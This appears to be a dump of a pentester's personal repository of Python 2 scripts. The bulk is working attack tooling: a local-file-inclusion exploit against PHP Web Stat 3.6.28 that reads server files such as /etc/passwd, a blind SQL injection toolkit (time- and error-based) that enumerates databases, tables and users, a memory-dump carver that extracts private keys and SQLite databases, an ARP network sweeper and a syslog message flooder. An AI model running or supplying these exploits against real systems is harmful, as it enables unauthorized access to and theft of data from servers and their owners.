├── README.rst ├── findip.py ├── memdump.py ├── phpstat.py ├── sqli.py └── syslog.py /README.rst: -------------------------------------------------------------------------------- 1 | Pentest 2 | ======= 3 | 4 | some random script which I have created during my time as a penetration tester 5 | 6 | handle with care! 7 | -------------------------------------------------------------------------------- /findip.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import logging 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | 6 | import sys 7 | 8 | from scapy.all import * 9 | 10 | def main(): 11 | if len(sys.argv) != 2: 12 | print "usage: %s " % (sys.argv[0], ) 13 | sys.exit(0) 14 | 15 | # set default interface 16 | print "[*] using interface %s ..." % (sys.argv[1]) 17 | conf.route.add(net="0.0.0.0/0", dev=sys.argv[1]) 18 | 19 | # class A stage 1 20 | class_a_s1 = ["10.%d.%d.1" % (x, y) for x in range(0, 255) for y in range (0, 255)] 21 | # class B stage 1 22 | class_b_s1 = ["172.16.%d.1" % (ip, ) for ip in range(0,255)] 23 | # class C stage 1 24 | class_c_s1 = ["192.168.%d.1" % (ip, ) for ip in range(0,255)] 25 | 26 | for subnet in [class_a_s1, class_b_s1, class_c_s1]: 27 | #for subnet in [class_b_s1, class_c_s1]: 28 | print "[*] checking subnets from %s to %s [%d] ..." % (subnet[:1], subnet[-1:], len(subnet)) 29 | conf.iface = sys.argv[1] 30 | packet = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=subnet) 31 | ans, unans = srp(packet, timeout=2, verbose=0) 32 | for s,r in ans: 33 | print "[+] Found:", r.sprintf("%Ether.src%"),":", r.sprintf("%ARP.psrc%") 34 | 35 | if __name__ == "__main__": 36 | main() 37 | -------------------------------------------------------------------------------- /memdump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from struct import pack, unpack 4 | import sys 5 | import re 6 | 7 | class MemoryDumpError(Exception): 8 | """ Custom Error Messages """ 9 | 10 | def __init__(self, message): 11 | self.message = message 12 | 13 | def __str__(self): 14 | return str(self.message) 15 | 16 | class MemoryDumpModule(object): 17 | """ Module Parent Object """ 18 | 19 | MODULE_NAME = "dummy" 20 | HEADER_PATTERN = "" 21 | 22 | def __init__(self, dump): 23 | self.dump = dump 24 | self.offsets = [ match.start() for match in re.finditer(self.HEADER_PATTERN, dump) ] 25 | self.items = {} 26 | 27 | def __len__(self): 28 | return len(self.offsets) 29 | 30 | def analyse(self): 31 | """ overwrite me """ 32 | 33 | pass 34 | 35 | def save(self): 36 | """ extract module specific data from memory dump and save it to disk """ 37 | 38 | for offset, length in self.items.iteritems(): 39 | open("%s-%s.extract" % (self.MODULE_NAME, offset), 'wb').write(self.dump[offset:offset + length]) 40 | 41 | class MemoryDump(object): 42 | """ Analyse memory dumps and extract content from it """ 43 | 44 | _extractionModules = ( 'SQLite3Database', 'PEMPrivateKey', 'PEMCertificate') 45 | _loadedModules = [] 46 | 47 | def __init__(self, dumpfile): 48 | self.dumpfile = dumpfile 49 | self.items = {} 50 | 51 | try: 52 | self.dump = open(self.dumpfile, 'rb').read() 53 | except: 54 | raise MemoryDumpError("Unable to open dumpfile: %s" % (self.dumpfile, )) 55 | else: 56 | for target in self._extractionModules: 57 | self._loadedModules.append(eval("%s(self.dump)" % (target, ))) 58 | 59 | def __getitem__(self, key): 60 | return self.items[key] 61 | 62 | def __iter__(self): 63 | return self.items.iteritems() 64 | 65 | def analyze(self): 66 | """ find items for every loaded module in memory dump """ 67 | 68 | for module in self._loadedModules: 69 | if len(module): 70 | module.analyze() 71 | self.items.update({module.MODULE_NAME: module.items}) 72 | 73 | def extract(self): 74 | """ extract the found items from memory dump and save them to disk """ 75 | 76 | for module in self._loadedModules: 77 | if len(module): 78 | if not len(self.items.keys()): 79 | module.analyze() 80 | module.save() 81 | 82 | class SQLite3Database(MemoryDumpModule): 83 | """ Extract SQLite3 Databases from Memory Dumps """ 84 | 85 | MODULE_NAME = "sqlite" 86 | HEADER_PATTERN = re.escape("\x53\x51\x4c\x69\x74\x65\x20\x66\x6f\x72\x6d\x61\x74\x20\x33\x00") 87 | HEADER_SIZE = 100 88 | 89 | header_spec = {} 90 | header_spec['page_size'] = (16, 2, '>H') 91 | header_spec['page_num'] = (28, 4, '>I') 92 | 93 | def analyze(self): 94 | header = {} 95 | 96 | if not len(self): 97 | return None 98 | 99 | for dump_offset in self.offsets: 100 | for attrib, value in self.header_spec.iteritems(): 101 | offset, length, format = value 102 | header[attrib] = unpack(format, self.dump[dump_offset:][offset:][:length])[0] 103 | 104 | self.items[dump_offset] = self.HEADER_SIZE + (header['page_num'] * header['page_size']) 105 | 106 | return len(self.items.keys()) 107 | 108 | class PEMPrivateKey(MemoryDumpModule): 109 | """ Extract RSA/DSA Private Keys in PEM format from Memory Dumps """ 110 | 111 | MODULE_NAME = "privatekey" 112 | HEADER_PATTERN = r'-+BEGIN [A-Z]{3} PRIVATE KEY' 113 | FOOTER_PATTERN = r'-+END [A-Z]{3} PRIVATE KEY-+' 114 | 115 | def analyze(self): 116 | if not len(self): 117 | return None 118 | 119 | for dump_offset in self.offsets: 120 | key_len = int(re.search(self.FOOTER_PATTERN, self.dump[dump_offset:]).end()) 121 | self.items[dump_offset] = key_len 122 | 123 | return len(self.items.keys()) 124 | 125 | class PEMCertificate(MemoryDumpModule): 126 | """ Extract Certificates in PEM format from Memory Dumps """ 127 | 128 | MODULE_NAME = "certificate" 129 | HEADER_PATTERN = r'-+BEGIN CERTIFICATE' 130 | FOOTER_PATTERN = r'-+END CERTIFICATE-+' 131 | 132 | def analyze(self): 133 | if not len(self): 134 | return None 135 | 136 | for dump_offset in self.offsets: 137 | key_len = int(re.search(self.FOOTER_PATTERN, self.dump[dump_offset:]).end()) 138 | self.items[dump_offset] = key_len 139 | 140 | return len(self.items.keys()) 141 | 142 | def main(): 143 | print "[*] MemoryDump analyzer / extraction utility v0.1" 144 | 145 | if len(sys.argv) < 2: 146 | print "usage: %s " % (sys.argv[0], ) 147 | return 148 | 149 | filename = sys.argv[1] 150 | try: 151 | memdump = MemoryDump(filename) 152 | memdump.analyze() 153 | except MemoryDumpError, err: 154 | print "[-] Error: %s" % (str(err), ) 155 | return 156 | 157 | for module, items in memdump: 158 | print "[*] Modul: %s [ %d items ]\n [+]" % (module, len(items.keys())), 159 | print "\n [+] ".join([ "offset: 0x%08x - length: %d" % (offset, length) for offset, length in items.iteritems() ]) 160 | #memdump.extract() 161 | 162 | if __name__ == '__main__': 163 | main() 164 | -------------------------------------------------------------------------------- /phpstat.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # Local/Remote file inclusion in phpstats 4 | 5 | import sys 6 | from urllib2 import urlopen 7 | from urllib import basejoin, urlencode 8 | from base64 import b64decode 9 | 10 | class PHPStatExploit: 11 | """ 12 | Exploit local file inclusion in PHP Web Stat 3.6.28 (and maybe other versions) 13 | @url: path to the directory where php web stat is installed 14 | """ 15 | 16 | def __init__(self, url): 17 | self.url = url 18 | self.target = 'index.php' 19 | self.vector = {'parameter': 'finished', 'archive_save': ''} 20 | self.b46encode = 'php://filter/convert.base64-encode/resource=%s' 21 | self.split = '' 22 | 23 | def __get_payload(self, data, decode=True): 24 | if not self.split in data: 25 | return None 26 | 27 | data = data[:data.find(self.split)].strip() 28 | if decode: 29 | return b64decode(data) 30 | else: 31 | return data 32 | 33 | def readfile(self, filename, encode = True): 34 | """ 35 | read a file from the remote system 36 | @filename: absolute path to the file to read (ex: /etc/passwd) 37 | @encode: encode the output base64 (because the 'require' function is triggered, 38 | you need this to read php code from the server. otherwise it is executed) 39 | """ 40 | 41 | if encode: 42 | self.vector['archive_save'] = self.b46encode % (filename, ) 43 | else: 44 | self.vector['archive_save'] = filename 45 | 46 | resp = urlopen("%s?%s" % (basejoin(self.url, self.target), urlencode(self.vector))) 47 | data = self.__get_payload(resp.read(), decode = encode) 48 | 49 | if not data: 50 | raise ValueError('No data returned') 51 | 52 | return data 53 | 54 | def usage(me): 55 | print "[-] usage: %s " % (me, ) 56 | print "[-] example: %s http://example.com/phpstat/ /etc/passwd" 57 | sys.exit(1) 58 | 59 | if __name__ == '__main__': 60 | print "[*] phpstats local file inclusion - 2012 - shinnok@crapworks.de" 61 | if len(sys.argv) < 3: 62 | usage(sys.argv[0]) 63 | 64 | url, filename = sys.argv[1:3] 65 | 66 | print "[+] reading %s from server ..." % (filename, ) 67 | exploit = PHPStatExploit(url) 68 | try: 69 | data = exploit.readfile(filename, encode=False) 70 | except ValueError, err: 71 | print "[-] Error reading file: %s" % (err.message, ) 72 | else: 73 | print data 74 | -------------------------------------------------------------------------------- /sqli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # TODO: Unpack parameter 4 | 5 | import urllib 6 | import urllib2 7 | import time 8 | import sys 9 | import io 10 | import re 11 | import gzip 12 | 13 | from urlparse import urlparse 14 | import argparse 15 | 16 | class SQLInject: 17 | """ 18 | basic class for testing custom blind sql injection 19 | """ 20 | 21 | ### Blind SQL Injection Type ### 22 | TIMEBASED = 1 23 | ERRORBASED = 2 24 | 25 | ### Database Type ### 26 | DB_MYSQL = 'mysql' 27 | DB_ORACLE = 'oracle' 28 | DB_MSSQL = 'mssql' 29 | 30 | ### character matching tables ### 31 | char_match = ["e","t","a","o","i","n","s","r","h","l","d","u","c","f","m","w","y","g","p","b","v", "k","x","j","q","z","0","1","2","3","4","5","6","7","8","9","-",".","_", "'","[", "]","+", "%","#","@","$"] 32 | num_match = ["1", "2", "3", "4", "5", "6", "7", "8", "9", "0"] 33 | 34 | def __create_header__(self): 35 | headers = {} 36 | headers['Host'] = self.url.netloc 37 | headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100501 Iceweasel/3.5.9 (like Firefox/3.5.9)' 38 | headers['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' 39 | headers['Accept-Language'] = 'en-us,en;q=0.5' 40 | headers['Accept-Encoding'] = 'gzip,deflate' 41 | headers['Accept-Charset'] = 'ISO-8859-1,utf-8;q=0.7,*;q=0.7' 42 | headers['Keep-Alive'] = '300' 43 | headers['Proxy-Connection'] = 'keep-alive' 44 | 45 | return headers 46 | 47 | ################################################################# 48 | ### database enumeration functions ### 49 | ################################################################# 50 | 51 | def get_databases(self): 52 | self.get_output("SELECT DISTINCT(LOWER(schema_name)) FROM information_schema.SCHEMATA") 53 | 54 | def get_tables(self): 55 | self.get_output("SELECT table_name FROM information_schema.TABLES WHERE table_schema='%s'" % (self.database)) 56 | 57 | def get_columns(self): 58 | self.get_output("SELECT column_name FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'" % (self.table, self.database)) 59 | 60 | ################################################################# 61 | ### user enumeration functions ### 62 | ################################################################# 63 | 64 | def get_users(self): 65 | self.get_output("SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES") 66 | 67 | ################################################################# 68 | ### inference data retrieval functions ### 69 | ################################################################# 70 | 71 | def __get_value(self, command, matches): 72 | if self.debug > 0: 73 | print "[dd] executing command: %s" % (command, ) 74 | value = "" 75 | for pos in range(1, 1000): 76 | chr = self.get_char(pos, command, matches) 77 | if not chr: 78 | return value 79 | sys.stdout.write(chr) 80 | sys.stdout.flush() 81 | value += chr 82 | 83 | def get_output(self, command): 84 | result = {} 85 | 86 | ### unpack select values ### 87 | cmds = self.unpack_select(command) 88 | lastval = None 89 | 90 | for value in cmds.keys(): 91 | ### get number of rows ### 92 | cmd = cmds[value] 93 | result[value] = [] 94 | 95 | print cmd 96 | print "[*] number of rows returned by query: ", 97 | num_rows = self.get_num_rows(cmd) 98 | print "\n" 99 | 100 | print "[*] retrieving results for " + cmd + ": " 101 | for row in range(0, num_rows): 102 | 103 | if lastval: 104 | #cmd += " WHERE %s = '%s'" % (lastval, result[lastval][-1]) 105 | lastval = value 106 | else: 107 | lastval = value 108 | 109 | ### get output 110 | print "[+] ", 111 | result[value].append(self.__get_value(cmd + " LIMIT " + str(row) + ", 1" , self.char_match)) 112 | sys.stdout.write("\n") 113 | 114 | for row in result.keys(): 115 | print "%-15s" % row, 116 | print "\n" 117 | 118 | for row in result.keys(): 119 | for val in result[row]: 120 | print "%-15s" % val 121 | 122 | print result 123 | 124 | def get_num_rows(self, command): 125 | if 'FROM' in command.upper(): 126 | command = re.sub('^(.*) (.*) (FROM .*)', r'\1 COUNT(\2) \3', command, flags=re.IGNORECASE) 127 | else: 128 | command = re.sub('^(.*) (.*)', r'\1 COUNT(\2)', command) 129 | return int(self.__get_value(command, self.num_match)) 130 | 131 | def unpack_select(self, command): 132 | cmds = {} 133 | 134 | 135 | if 'FROM' in command.upper(): 136 | values= re.match("^SELECT (.*) (FROM .*)", command, flags=re.IGNORECASE).group(1) 137 | else: 138 | values= re.match("^SELECT (.*)", command, flags=re.IGNORECASE).group(1) 139 | for value in values.split(','): 140 | value = value.strip() 141 | if 'FROM' in command.upper(): 142 | cmds[value] = re.sub('^(.*) (.*) (FROM .*)', r'\1 %s \3', command, flags=re.IGNORECASE) % (value, ) 143 | else: 144 | cmds[value] = re.sub('^(.*) (.*)', r'\1 %s', command) % (value, ) 145 | 146 | return cmds 147 | 148 | def get_char(self, pos, command, matches): 149 | headers = self.__create_header__() 150 | 151 | if self.data: 152 | urlparams = dict([ p.split("=") for p in self.data.split("&")]) 153 | headers['Content-Type'] = 'application/x-www-form-urlencoded' 154 | else: 155 | urlparams = dict([ p.split("=") for p in self.url.query.split("&")]) 156 | 157 | if self.param not in urlparams.keys(): 158 | print "Parameter %s is not in parameter list. Exiting." % (self.param, ) 159 | sys.exit(0) 160 | 161 | for c in matches: 162 | # escape single quotes 163 | if c == '\'': 164 | c='\\\'' 165 | urlparams[self.param] = self.prefix + "MID((" + command + ")," + str(pos) + ",1) = '" + c + "'" + self.postfix 166 | 167 | if self.type == self.TIMEBASED: 168 | t_start = time.time() 169 | 170 | strparams = urllib.urlencode(urlparams) 171 | 172 | if self.data: 173 | con = urllib2.urlopen('%s://%s%s' % (self.url.scheme, self.url.netloc, self.url.path), data=strparams) 174 | else: 175 | if self.debug > 1: 176 | print "[dd] sending [%s://%s%s?%s]" % (self.url.scheme, self.url.netloc, self.url.path, strparams) 177 | con = urllib2.urlopen('%s://%s%s?%s' % (self.url.scheme, self.url.netloc, self.url.path, strparams)) 178 | 179 | # reverse single quote escaping 180 | if c == '\\\'': 181 | c = '\'' 182 | 183 | if self.type == self.TIMEBASED: 184 | t_end = time.time() 185 | ### Adjust the timeout here ### 186 | if (t_end - t_start) > 2: 187 | return c 188 | 189 | if self.type == self.ERRORBASED: 190 | data = con.read() 191 | 192 | ### check for zipped encoding 193 | if con.headers.getheader('Content-Encoding', None) == 'gzip': 194 | bs = io.BytesIO(data) 195 | stream = gzip.GzipFile(fileobj=bs, mode="rb") 196 | data = stream.read() 197 | 198 | if self.debug > 2: 199 | print "[dd] receive [%s]" % (data, ) 200 | if self.trigger in data: 201 | return c 202 | 203 | # EOL 204 | return None 205 | 206 | def main(): 207 | 208 | print "[*] Custom SQL Injection Toolkit - (c) Christian Eichelmann\n" 209 | 210 | parser = argparse.ArgumentParser() 211 | parser.add_argument("--version", action="version", version="0.6") 212 | parser.add_argument("--debug", action="count", help="enable debugging output") 213 | 214 | group_enum = parser.add_argument_group("Enumeration options") 215 | group_enum.add_argument("--dbs", action="store_true", dest="enum_db", help="enumerate databses") 216 | group_enum.add_argument("--tables", action="store_true", dest="enum_tables", help="enumerate tables (needs -D)") 217 | group_enum.add_argument("--columns", action="store_true", dest="enum_columns", help="enumerate columns (needs -D and -T)") 218 | group_enum.add_argument("--users", action="store_true", dest="enum_users", help="enumerate databse users") 219 | 220 | group_target = parser.add_argument_group("Target informations") 221 | group_target.add_argument("-u", "--url", type=urlparse, help="url to attack (http://www.vuln.org/index.php?a=foo&b=bar)", required=True) 222 | group_target.add_argument("-p", "--param", help="vulnerable parameter", required=True) 223 | group_target.add_argument("-s", "--prefix", help="attack prefix", required=True) 224 | group_target.add_argument("-e", "--postfix", help="attack postfix", required=True) 225 | group_target.add_argument("-i", "--trigger", help="trigger for error based sqli") 226 | 227 | group_misc = parser.add_argument_group("Miscellaneous options") 228 | group_misc.add_argument("-t", "--type", type=int, help="sqli technique (1=Timebased, 2=Errorbased)", choices=[1, 2], default=2) 229 | group_misc.add_argument("-c", "--command", help="sql command to execute") 230 | group_misc.add_argument("-d", "--data", help="use POST instead of GET with the given parameter") 231 | 232 | group_info = parser.add_argument_group("Target database information") 233 | group_info.add_argument("-b", "--backend", metavar="DBMS", help="database backend (mysql, oracle, mssql)", choices=["mysql", "oracle", "mssql"], default="mysql") 234 | group_info.add_argument("-D", "--database", help="set database") 235 | group_info.add_argument("-T", "--table", help="set table") 236 | 237 | sql = SQLInject() 238 | args = parser.parse_args(namespace=sql) 239 | 240 | ################################################## 241 | ### ERROR CHECKING ### 242 | ################################################## 243 | 244 | if sql.type == sql.ERRORBASED and not sql.trigger: 245 | parser.error('Errorbased sql injections need a trigger') 246 | 247 | if not sql.command and not sql.enum_db and not sql.enum_tables and not sql.enum_columns and not sql.enum_users: 248 | parser.error('Nothing todo! Specify a command or enumeration task') 249 | 250 | if args.enum_tables and not sql.database: 251 | parser.error('-D needed for enumerating tables') 252 | 253 | if args.enum_columns and (not sql.database or not sql.table): 254 | parser.error('-D and -T needed for enumerating columns') 255 | 256 | ################################################## 257 | ### EXECUTING ### 258 | ################################################## 259 | if args.enum_db: 260 | sql.get_databases() 261 | 262 | if args.enum_tables: 263 | sql.get_tables() 264 | 265 | if args.enum_columns: 266 | sql.get_columns() 267 | 268 | if args.enum_users: 269 | sql.get_users() 270 | 271 | if args.command: 272 | sql.get_output(args.command) 273 | 274 | if __name__ == "__main__": 275 | main() 276 | -------------------------------------------------------------------------------- /syslog.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # usage: $0 4 | 5 | from scapy.all import * 6 | import sys 7 | import time 8 | 9 | target = sys.argv[1] 10 | msg = sys.argv[2] 11 | 12 | for prio in range(0, 7): 13 | for faci in range(0, 23): 14 | priority = (prio << 3) | faci 15 | syslog = IP(dst=target)/UDP(dport=514)/Raw(load='<' + str(priority) + '>' + time.strftime("%b %d %H:%M:%S ") + msg) 16 | send(syslog, verbose=0) 17 | sys.stdout.write(".") 18 | sys.stdout.flush() 19 | 20 | print "" 21 | --------------------------------------------------------------------------------